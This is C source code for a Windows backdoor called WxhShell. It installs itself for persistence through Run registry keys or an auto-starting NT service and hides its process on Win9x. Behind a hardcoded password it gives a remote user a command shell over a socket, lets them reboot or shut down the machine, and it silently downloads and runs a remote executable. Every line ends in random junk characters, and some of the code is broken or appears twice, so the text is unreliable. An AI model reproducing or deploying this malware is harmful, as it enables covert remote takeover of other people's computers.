  // 关机 BGAqg=nDV  
  case 'd': { hCXSC*;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NyHHK8>  
    if(Boot(SHUTDOWN)) E+XpgR5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &+t! LM  
    else { WSA;p=_  
    closesocket(wsh); FFE IsB"9  
    ExitThread(0); +<cvyg5U  
    } MF+J3)  
    break; c,WRgXL  
    } ,SEC~)L  
  // 获取shell v=n'#:k  
  case 's': { V=#L@ws  
    CmdShell(wsh); 1<Vc[p&  
    closesocket(wsh); K(*QhKX  
    ExitThread(0); 'EsN{.l?  
    break; q:OSQ~U_  
  } $L|YllD%  
  // 退出 8Lm}x_  
  case 'x': { K@Z K@++  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AiUICf?{  
    CloseIt(wsh); iTb k]$  
    break; NZUQ R`5  
    } We^! (G  
  // 离开 vj?v7  
  case 'q': { ,,*i!%Adw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,~ ;_ -  
    closesocket(wsh); ppv/ A4Kv  
    WSACleanup(); uFd.2,XNP  
    exit(1); x --buO  
    break; -8- BVU  
        } ]k2Jf}|  
  } TF)OBN~/  
  } d,"?tip/SX  
W'2a1E  
  // 提示信息 yHvF"4]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =M]f7lJ  
} WdXi  
  } m @K5eh  
7 S^iGe  
  return; )"j)9RQ}  
} 6#NptXB  
9v7l@2/  
// shell模块句柄 Q}G'=Q]Juz  
int CmdShell(SOCKET sock) 5w:   
{ @=KuoIV  
STARTUPINFO si; !P*1^8b`f  
ZeroMemory(&si,sizeof(si)); 3?Ckk{)&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n-q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d ]LF5*i  
PROCESS_INFORMATION ProcessInfo; @^Tof5?F?  
char cmdline[]="cmd"; "tu BfA+f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AF5$U8jf  
  return 0; Yh%a7K   
} oObm5e*Z  
$Iuf(J-5[  
// 自身启动模式 S"FIQ&n  
int StartFromService(void) }{Y)[w#R  
{ ?b?`(JTR  
typedef struct Y)@mL~){  
{ #NZ\UmA  
  DWORD ExitStatus; *%JncK '  
  DWORD PebBaseAddress; VV/6~jy0  
  DWORD AffinityMask; 0i}4T:J@`  
  DWORD BasePriority; !;'. mMO&%  
  ULONG UniqueProcessId; n-m+@jRz  
  ULONG InheritedFromUniqueProcessId; nBs%k!RR  
}   PROCESS_BASIC_INFORMATION; 6< x0e;>  
Yk',a$.S  
PROCNTQSIP NtQueryInformationProcess; O[ O`4de9  
+QNFu){G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8y;W+I(71  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ns_5|*'  
i_OoR"J%  
  HANDLE             hProcess; j-2`yR  
  PROCESS_BASIC_INFORMATION pbi; Lq@pJ)a  
1 h(oty2p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JZ6{W  
  if(NULL == hInst ) return 0; O!+LM{> F  
YDBQ6X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T:+%3+;a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ra \Moy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y=y=W5#;77  
~@ZdO+n?  
  if (!NtQueryInformationProcess) return 0; %1ofu,%  
5p6Kq=jhb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H!U\;ny  
  if(!hProcess) return 0; D8P<mIu}Y  
Hl"rGA>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c-z 2[a8  
t ZUZNKODW  
  CloseHandle(hProcess); V6l*!R  
Z&W|O>QTl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T^h;T{H2  
if(hProcess==NULL) return 0; l!f/0Rx5  
fII;t-(x  
HMODULE hMod;  (A 2x  
char procName[255]; uG2(NwOL  
unsigned long cbNeeded; +}c '4hRv  
zAEq)9Y"l'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !xoN%5 !  
z'a#lA.$}  
  CloseHandle(hProcess); NVx`'Il8 "  
Tyu]14L  
if(strstr(procName,"services")) return 1; // 以服务启动 U JG)-x  
_[8xq:G  
  return 0; // 注册表启动 2SU G/-P#  
} Lv@JfN"O  
}$u]aX<  
// 主模块 }J .f 5WaG  
int StartWxhshell(LPSTR lpCmdLine) J{' u  
{ >B$ZKE  
  SOCKET wsl; Saa# Mj`M  
BOOL val=TRUE; =W)Fa6P3j(  
  int port=0; ~[XDK`B  
  struct sockaddr_in door; QC0^G,9.  
cSCO7L2E18  
  if(wscfg.ws_autoins) Install(); DZ~w8v7V  
}h<\qvCcU  
port=atoi(lpCmdLine); 3/8o)9f.  
,Iq+v  
if(port<=0) port=wscfg.ws_port; V x1C4  
~k+"!'1  
  WSADATA data; log{jF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f XxdOn.  
Z"#ysC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z!=/[,b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xdp!'1n."g  
  door.sin_family = AF_INET; " |RP_v2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); & Sy0Of  
  door.sin_port = htons(port); %cG6=`vR  
zR h1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (:E_m|00;  
closesocket(wsl); | Q:$G!/  
return 1; #C,M8~Q7  
} $K^"a  
i;xH  
  if(listen(wsl,2) == INVALID_SOCKET) { e/lfT?J\  
closesocket(wsl); !zLd ,`  
return 1; 9Q- /Yh  
} 6NJ"ty9Bp  
  Wxhshell(wsl); &H,5f#  
  WSACleanup(); ntkTrei ]  
`kIzT!HX  
return 0;  Z_F:H@-&  
,eOOV@3C  
} S$\l M<M  
*#e%3N05_  
// 以NT服务方式启动 =[(1u|H 9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `48jL3|  
{ <ro0}%-z>M  
DWORD   status = 0; G40,KCa  
  DWORD   specificError = 0xfffffff; 0F=UZf&  
zkn K2e,$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZgF-.(GV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; & S_gNa  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *c7kB}/  
  serviceStatus.dwWin32ExitCode     = 0; f7{E(,  
  serviceStatus.dwServiceSpecificExitCode = 0; m9Gyjr'L  
  serviceStatus.dwCheckPoint       = 0; z %{>d#rw  
  serviceStatus.dwWaitHint       = 0; K@U"^ `G2  
5+rYk|*D+k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J|_&3@r  
  if (hServiceStatusHandle==0) return; A?|KA<&m#u  
cy7GiB2'  
status = GetLastError(); #rMMOu9r2  
  if (status!=NO_ERROR) }M?GqA=  
{ *CA|}l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4Ub_;EI>  
    serviceStatus.dwCheckPoint       = 0; ^i_mGeu  
    serviceStatus.dwWaitHint       = 0; 1QtT*{zm$F  
    serviceStatus.dwWin32ExitCode     = status; h'^7xDw  
    serviceStatus.dwServiceSpecificExitCode = specificError; qqT6C%Q`kG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9vCn^G%B  
    return; yxQxc5/X)  
  } kU_bLC?>D  
iI+kZI-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <8Nh dCO6  
  serviceStatus.dwCheckPoint       = 0; !vfjo[v  
  serviceStatus.dwWaitHint       = 0; 5[`!\vCiZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tf|/_Y2  
} U4%d #  
|!8[Vg^Wh  
// 处理NT服务事件,比如:启动、停止 E}c(4RY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0`"]mYH  
{ ?'CIt5n+\{  
switch(fdwControl) 6hXL`A&},  
{ Yfk[mo  
case SERVICE_CONTROL_STOP: f% ZqK_CW  
  serviceStatus.dwWin32ExitCode = 0; K+dkImkh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z66akr  
  serviceStatus.dwCheckPoint   = 0; LkMhS0?(T  
  serviceStatus.dwWaitHint     = 0; yU\&\fD>j  
  { ldrKk'S,B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dk&cIZ43  
  } JTNQz  
  return; If\u^c  
case SERVICE_CONTROL_PAUSE: `"H!=`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k^ J~l=?v  
  break; dc5w_98o  
case SERVICE_CONTROL_CONTINUE: @}!1Uk3ud  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; SW UHHl  
  break; Z*.fSmT8)  
case SERVICE_CONTROL_INTERROGATE: A`Z!=og=  
  break; O;ZU{VY  
}; LH"MJWO J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w3PE.A"Q  
} Km8btS]n  
bWt>tEnf  
// 标准应用程序主函数 ~1`.iA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t@ #sKdv  
{ -dsB@nPiUw  
,]i ^/fT  
// 获取操作系统版本 N)lzX X  
OsIsNt=GetOsVer(); |rH;}t|un  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gTY\B.  
[^A.$,  
  // 从命令行安装 ^-w:D  
  if(strpbrk(lpCmdLine,"iI")) Install(); p H5IBIf'  
sVZb[|zSri  
  // 下载执行文件 $/}*HWVZ  
if(wscfg.ws_downexe) { v$K`C;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /4YXx|V  
  WinExec(wscfg.ws_filenam,SW_HIDE); _J}ce  
} G`ZpFg0Y  
#57nm]?  
if(!OsIsNt) { SGZOfTcY  
// 如果时win9x,隐藏进程并且设置为注册表启动 R<Ojaj=V  
HideProc(); <P3r+ 1|R  
StartWxhshell(lpCmdLine); C.C)&&|X  
} 4HVZ;,q  
else m( C7Fa  
  if(StartFromService()) 7B_;YT  
  // 以服务方式启动 X, <&#l  
  StartServiceCtrlDispatcher(DispatchTable); `~WxMY0M  
else v!E0/ gD  
  // 普通方式启动 fa=#S  
  StartWxhshell(lpCmdLine); )UI$ s"  
a^'1o9  
return 0; _b<Fz`V  
} Nv,[E+a2  
@/lLL GrZ"  
tV9W4`Z2q  
fGcAkEstT!  
=========================================== jC*(ZF1B  
9r fR  
>Gk<[0U  
#StD]d  
KunK.m  
Un]`Gd]:  
" 5{zXh  
Q nDymVF  
#include <stdio.h> Y:^~KS=Uz  
#include <string.h> d0>V^cB'?  
#include <windows.h> >B>CV8p6w  
#include <winsock2.h> Bg-C:Ok 2'  
#include <winsvc.h> $ N5VoK  
#include <urlmon.h> r6Lb0PzMf  
9;&2LT7z  
#pragma comment (lib, "Ws2_32.lib") %/oOM\} ++  
#pragma comment (lib, "urlmon.lib") ndOPD]A'  
@\i6m]\X  
#define MAX_USER   100 // 最大客户端连接数 0'Tq W9P  
#define BUF_SOCK   200 // sock buffer mbsdiab#N  
#define KEY_BUFF   255 // 输入 buffer Sr)/ Mf  
v>c[wg9P  
#define REBOOT     0   // 重启 vYL{5,t {1  
#define SHUTDOWN   1   // 关机 b)en/mz  
5hB&]6n  
#define DEF_PORT   5000 // 监听端口 4adCMfP7.  
}yLdU|'W  
#define REG_LEN     16   // 注册表键长度 j23OgbI  
#define SVC_LEN     80   // NT服务名长度 MKJ9PcVi  
;} gvBI2e  
// 从dll定义API "@gJ[BL#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w(J-[t118  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Gc~A,_(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (iP,F]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T5z %X:VD(  
.Y&_k  
// wxhshell配置信息 *-ZD-B*?  
struct WSCFG { 37ll8  
  int ws_port;         // 监听端口 B+jT|Y'  
  char ws_passstr[REG_LEN]; // 口令 lBR6O!sBP  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]RPv@z:V  
  char ws_regname[REG_LEN]; // 注册表键名 ]b'K BAMy  
  char ws_svcname[REG_LEN]; // 服务名 'M_8U0k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~`#.ZMO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +=$\7z>s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BNyDEFd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (*/P~$xIj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Sj+ gf~~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0+/L?J3  
2N5 N^S  
}; |O+R%'z'<  
jS5e"LMIq  
// default Wxhshell configuration 8<^[xe  
struct WSCFG wscfg={DEF_PORT, \Wt&z,  
    "xuhuanlingzhe", k|BY 7C  
    1, cOOPNa>5_  
    "Wxhshell", a gBKp!  
    "Wxhshell", pA4/ '7nCl  
            "WxhShell Service", IB}.J,=  
    "Wrsky Windows CmdShell Service", 7vNS@[8  
    "Please Input Your Password: ", J0@m Ol  
  1, 5;`([oX|_  
  "http://www.wrsky.com/wxhshell.exe", :lgIu .  
  "Wxhshell.exe" &4O"Xs`ka  
    }; BR*" "/3`  
6du"^g  
// 消息定义模块 /P^@dL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Bpo~x2p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GY@Np^>[a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4d!&.Qo9  
char *msg_ws_ext="\n\rExit."; QdUl-(  
char *msg_ws_end="\n\rQuit."; Jfo|/JQ  
char *msg_ws_boot="\n\rReboot..."; OTN"XKa$  
char *msg_ws_poff="\n\rShutdown..."; D Sd 5?  
char *msg_ws_down="\n\rSave to "; Y +HVn0~qz  
TCmWn$LeE  
char *msg_ws_err="\n\rErr!"; dam.D.o"  
char *msg_ws_ok="\n\rOK!"; - /#3U{O  
r\_rnM)_xN  
char ExeFile[MAX_PATH]; GZI[qKDfB  
int nUser = 0; i;6\tK"!  
HANDLE handles[MAX_USER]; fkRb;aIl  
int OsIsNt; t,k9:p  
+=\S"e[F  
SERVICE_STATUS       serviceStatus; <u->hT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o S_'@u.5  
CdWGb[uI  
// 函数声明 %{zM> le9  
int Install(void); J)'6 z  
int Uninstall(void); 7T4rx53  
int DownloadFile(char *sURL, SOCKET wsh); .?AtW:<*I  
int Boot(int flag); SB$~Btr  
void HideProc(void); pC5-,Z;8  
int GetOsVer(void); Kz$Ijj  
int Wxhshell(SOCKET wsl); Plm3vk=  
void TalkWithClient(void *cs); #Sn&Wo  
int CmdShell(SOCKET sock); &hV;3";  
int StartFromService(void); _NA]= #J  
int StartWxhshell(LPSTR lpCmdLine); ~Ja>x`5  
KxJJ?WyM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >x!N@G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I]I5!\\&[  
{W `/KU?u  
// 数据结构和表定义 t{?_]2vl  
SERVICE_TABLE_ENTRY DispatchTable[] = Z>CFH9  
{ BOh&Db*  
{wscfg.ws_svcname, NTServiceMain}, )>TA|W]@  
{NULL, NULL} hrS/3c'<Z  
}; 0n(Q@O  
ZQ~?  
// 自我安装 l#Qf8*0  
int Install(void) <JKPtF2b  
{ 9^c_^-8n<}  
  char svExeFile[MAX_PATH]; hR= 4w$  
  HKEY key; 78 UT]<Q;K  
  strcpy(svExeFile,ExeFile); \>YXPMIk  
YVs{\1|'  
// 如果是win9x系统,修改注册表设为自启动 ` -w;=_Bm  
if(!OsIsNt) { OW #pBeX99  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F$+_Z~yt3;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :+-s7'!4  
  RegCloseKey(key); SKcAZC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -Tz9J4xU&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `8'|g8,wb0  
  RegCloseKey(key); CdEJ/G:  
  return 0; sZB$+~.:}  
    } g$]9xn#_[  
  } l@Ml8+  
} 9$)4C|  
else { i<@|+*>M  
W cqYpPv  
// 如果是NT以上系统,安装为系统服务 +'lfW{E1t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3J:!8Gmk  
if (schSCManager!=0) e@I?ESZ5  
{ &}P62&  
  SC_HANDLE schService = CreateService koAc-o  
  ( D.\p7 NJ  
  schSCManager, 3UH=wmG0w  
  wscfg.ws_svcname, H"n"Q:Yp  
  wscfg.ws_svcdisp, T> 1E  
  SERVICE_ALL_ACCESS, *_^AK=i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4!E6|N%f  
  SERVICE_AUTO_START, pX2 Ki^)]  
  SERVICE_ERROR_NORMAL, ea B-u  
  svExeFile, 2I#fwsb  
  NULL, ?MN?.O9-  
  NULL, KU$.m3A>  
  NULL, O(!wDnhc  
  NULL, }l_) d  
  NULL IJ=~hBI  
  ); G>H&M#7K  
  if (schService!=0) 2TIZltFS0e  
  { #X|'RL($  
  CloseServiceHandle(schService); M%6{A+(  
  CloseServiceHandle(schSCManager); #n0P'@d,r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RAxA H  
  strcat(svExeFile,wscfg.ws_svcname); 9i9VDk{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c%v%U &  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C96|T>bk  
  RegCloseKey(key); +F`! Jt  
  return 0; ]@Zj-n8  
    } Jzfz y0$  
  } *<BasP  
  CloseServiceHandle(schSCManager); dGHRHXi  
} e;[/ytz"d'  
} ]D<r5P%  
-a/5   
return 1; 6Zkus20  
} C2!POf;GdN  
DJ=miJI'  
// 自我卸载 5 {'%trDEy  
int Uninstall(void) ^oPf>\),C  
{ DBVe69/S  
  HKEY key; [N H[n#  
C8aYg  
if(!OsIsNt) { +tlTHK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4Mnne'7  
  RegDeleteValue(key,wscfg.ws_regname); ~6{;3"^<  
  RegCloseKey(key); g+)T\_#u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +D$\^ <#  
  RegDeleteValue(key,wscfg.ws_regname); gK`6 NUj  
  RegCloseKey(key); %6*xnB?  
  return 0; t0Ec` +)  
  } +&Sf$t 1  
} y{5ZC~Z<!  
} 2NI3 &;{4  
else { e7 5*84  
|67<h5Q1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2h u;N  
if (schSCManager!=0) piY=(y&3  
{ mp !6MOQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /GfC/)1_  
  if (schService!=0) +9,"ne1'e  
  { 64`V+Hd  
  if(DeleteService(schService)!=0) { NDCZc_  
  CloseServiceHandle(schService); =U3 !D;XP  
  CloseServiceHandle(schSCManager); e9"<.:&  
  return 0; %w_h8  
  } Hg]Q.SeJ(  
  CloseServiceHandle(schService); !</5 )B`5:  
  } VA.:'yQtJ  
  CloseServiceHandle(schSCManager); 7S1 Y)  
} MS><7lk-  
} r|6S&Ia>  
d%5QEVV  
return 1; `'.u$IBW  
} ;lnh;0B  
9`QWqu[  
// 从指定url下载文件 zeNvg/LI^  
int DownloadFile(char *sURL, SOCKET wsh) M|6 W<y  
{ `R=8=6Z+$q  
  HRESULT hr; :Uj+iYE8Z8  
char seps[]= "/"; B k#68p  
char *token; w/E4wp  
char *file; jZ7#xRt5w  
char myURL[MAX_PATH]; doVBVTk^  
char myFILE[MAX_PATH]; Gb~*[  
@T>)fKCg  
strcpy(myURL,sURL); 7AHEzJh"  
  token=strtok(myURL,seps); #&5m=q$EI  
  while(token!=NULL) 9<}d98  
  { ?L+@?fVN  
    file=token; ;v*$6DIC5  
  token=strtok(NULL,seps); aKkQXq*  
  } F+v?2|03  
c7L#f=Ot?  
GetCurrentDirectory(MAX_PATH,myFILE); <s)+V6 \E  
strcat(myFILE, "\\"); TOeJnk  
strcat(myFILE, file); l7 j3;Ly  
  send(wsh,myFILE,strlen(myFILE),0); #rF|X6P  
send(wsh,"...",3,0); I[WW1P5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "!9~77  
  if(hr==S_OK) tB8XnO_c  
return 0; 7Ha +@  
else ePP-&V"`"  
return 1; U[ u9RB  
Gdi1lYu6V  
} J`Q#p%W  
-r_z,h|  
// 系统电源模块 @;"HslU\Q  
int Boot(int flag) ''s]6Jjw  
{ %j^[%&pT  
  HANDLE hToken; (iIJ[{[H4)  
  TOKEN_PRIVILEGES tkp; d_-{-@  
[^A93F  
  if(OsIsNt) { ~^UQw? ;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6~ev5SD;f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 66,?f<b  
    tkp.PrivilegeCount = 1; e(@YBQ/Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C(Yk-7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OAEJ?ik  
if(flag==REBOOT) { hS OAjS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A?06fo,  
  return 0; &$ia#j{l  
} w[qWr@  
else { wwF]+w%lOw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !E'jd72O  
  return 0; \Se>u4~L  
} MW &iNioX  
  } 3gQQ,V..  
  else { '3 xvQFg  
if(flag==REBOOT) { )wQR2$x~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t \kI( G  
  return 0; ' ^^]Or  
} Wo<zvut8  
else { H5j~<@STC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8j. 9Sk/  
  return 0; *6cP-Vzd  
} w&8gA[y*u  
} >j{phZ  
P PZxH}J.  
return 1; [RiCa  
} r]iec{ ^  
X!2/cgU7  
// win9x进程隐藏模块 Ev|2bk \  
void HideProc(void) AfpB=3  
{ n a])bBn  
r in#lu& N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6 :K~w<mMJ  
  if ( hKernel != NULL ) {<5rbsqk  
  { i|0H {q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^|5bK_Z&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qd6XKl\5  
    FreeLibrary(hKernel); eVL'Ao&Ho  
  } a*o#,T5A  
i=#<0!m  
return; 3N|,c]|  
} 0&E{[~Pv  
P(8zJk6h),  
// 获取操作系统版本 @jAuSBy  
int GetOsVer(void) 'z0@|a  
{ 1Rc'2Y  
  OSVERSIONINFO winfo; 6":=p:PT.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 23 BzD^2a  
  GetVersionEx(&winfo); 2JwR?<n{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c&z@HEzV7  
  return 1; ~]a:9Ev*  
  else .YKqYN?y4  
  return 0; \2~Cn c*O  
} H@GiHej  
)<-\ F%&b  
// 客户端句柄模块 4zX@TI>j  
int Wxhshell(SOCKET wsl) 9IZ}}x  
{ V6)\;c  
  SOCKET wsh; E+k#1c|v$  
  struct sockaddr_in client; vzA)pB~;  
  DWORD myID; p"EQ6_f  
nm2bBX,fh  
  while(nUser<MAX_USER) ZG+8kt!w  
{ Z;`ts/?SY]  
  int nSize=sizeof(client); m?VA 1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cl:h 'aG  
  if(wsh==INVALID_SOCKET) return 1; fw Ooi 'jb  
YYwFjA@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^=Q/ H  
if(handles[nUser]==0) PRcW}"m]Qg  
  closesocket(wsh); Li)rs<IX;m  
else '|V"!R)  
  nUser++; ]JF>a_2wG  
  } HfEU[p7)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9bd$mp  
PLlad\  
  return 0; sw A^oU  
} ?o307 r  
=0!PnBGYn  
// 关闭 socket q9 !)YP+w  
void CloseIt(SOCKET wsh) ;G_{$)P.o  
{ .&fG_(6|  
closesocket(wsh); OOJg%y*H  
nUser--; =E?kxf[X  
ExitThread(0); IJ >qs8  
} "X<vgM^:  
%i[G6+-  
// 客户端请求句柄 }EM  vEA  
void TalkWithClient(void *cs) 3fA.DK[4[  
{ OI:G~Wg  
t+7|/GLs2  
  SOCKET wsh=(SOCKET)cs; W6STjtT3P  
  char pwd[SVC_LEN]; TKJs'%Q7F6  
  char cmd[KEY_BUFF]; {yFCGCs  
char chr[1]; lsJl+%&8  
int i,j; `wIMu$i  
R.nAD{>h*  
  while (nUser < MAX_USER) { NL`}rj  
ePF)wl;m  
if(wscfg.ws_passstr) { !' ;1;k);  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [\|`C4@3a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [{R^!Az&b<  
  //ZeroMemory(pwd,KEY_BUFF); ^!a4!DGVT  
      i=0; _"nzo4e0  
  while(i<SVC_LEN) { rf@Cz%xDD  
7T7 A\  
  // 设置超时 e3T&KyPm?+  
  fd_set FdRead; ~1xfE C/  
  struct timeval TimeOut; ~O|g~H5;  
  FD_ZERO(&FdRead); .AHf]X0  
  FD_SET(wsh,&FdRead); /?(\6Z_A  
  TimeOut.tv_sec=8; U1oZ\Mh  
  TimeOut.tv_usec=0; .5?e)o)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @q(sig00nr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F"|OcKAA}h  
7dxe03h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w^BF.Nu  
  pwd=chr[0]; ERka l7+  
  if(chr[0]==0xd || chr[0]==0xa) { Hsdcv~Xr;l  
  pwd=0;  Vv|%;5(  
  break; u4eA++ eT  
  } x`3F?[#l  
  i++; HGiO}|q :  
    } ?**9hu\BG  
Ka4KsJN  
  // 如果是非法用户,关闭 socket |XGj97#M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0gevn  
} z*oe ho  
Qq7%{`< }  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OTy{:ID  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D(X:dB50@  
s!g06F  
while(1) { GZq~Pl  
&eA!h  
  ZeroMemory(cmd,KEY_BUFF); $*\G Z$y>  
6P$jMjs  
      // 自动支持客户端 telnet标准   ;#/Uo8  
  j=0; :q>uj5%  
  while(j<KEY_BUFF) { , tEd>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r9 5hW  
  cmd[j]=chr[0]; =JW.1;  
  if(chr[0]==0xa || chr[0]==0xd) { <(E9U.  
  cmd[j]=0; px=k&|l  
  break; ABIQi[A  
  } HKXtS>7d  
  j++; eWk W,a  
    } SHA6;y+U/~  
>gT QD\k:D  
  // 下载文件 F2^qf  
  if(strstr(cmd,"http://")) { K%@#a}kRb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o4qB0h  
  if(DownloadFile(cmd,wsh)) Fs_zNN  
